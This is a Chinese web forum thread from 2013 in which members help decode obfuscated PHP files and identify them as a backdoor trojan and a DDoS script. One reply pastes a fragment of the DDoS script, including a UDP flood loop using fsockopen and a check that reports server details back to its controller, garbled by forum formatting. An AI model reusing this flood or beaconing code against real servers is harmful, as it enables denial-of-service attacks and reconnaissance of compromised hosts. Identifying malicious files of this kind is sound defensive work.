Captain 发表于 2013-6-20 20:10:10

帮解密下几个php文件

本帖最后由 Captain 于 2013-6-20 20:11 编辑
[*]复制代码[*]复制代码[*]复制代码[*]复制代码

Captain 发表于 2013-6-20 20:12:19

一共四个，高手帮忙

woweixiazai 发表于 2013-6-20 20:14:29

免费劳动力楼下

Captain 发表于 2013-6-20 20:31:55


Tou 发表于 2013-6-20 20:14

back.gif


handshake.gif
我试试

cuijz 发表于 2013-6-20 20:14:00

第一个是[*]复制代码明显是php后门木马

Captain 发表于 2013-6-20 20:37:31


cuijz 发表于 2013-6-20 20:37

back.gif

第一个是明显是php后门木马
最新的php ddos函数

cuijz 发表于 2013-6-20 20:43:30

第2个是php ddos[*]0){
[*]                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
[*]                exit;
[*]            }
[*]      echo "Parameters can not be empty!";
[*]      exit;
[*]    }
[*]
[*]for($i=0;$i $max_time){
[*]      break;
[*]    }
[*]    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
[*]      if($fp){
[*]            fwrite($fp, $out);
[*]            fclose($fp);
[*]    }
[*]}
[*]
[*]echo "Send Host：$host:$port
";
[*]echo "Send Flow：$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb
";
[*]echo "Send Rate：" . round($packets/$exec_time, 2) . " packs/s；" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
[*]?>复制代码

elves766 发表于 2013-6-20 20:37:00

看不懂 路过

Captain莫桑比特 发表于 2013-6-20 20:55:57


cuijz 发表于 2013-6-20 20:55

back.gif

第2个是php ddos
最新的函数用上tcp了，难防御了还是IIS配置比较好防御

过客 发表于 2013-6-20 21:01:11


Captain 发表于 2013-6-20 20:12

back.gif

一共四个，高手帮忙
把eval改成echo，马上出原形。
页: [1] 2 3
查看完整版本: 帮解密下几个php文件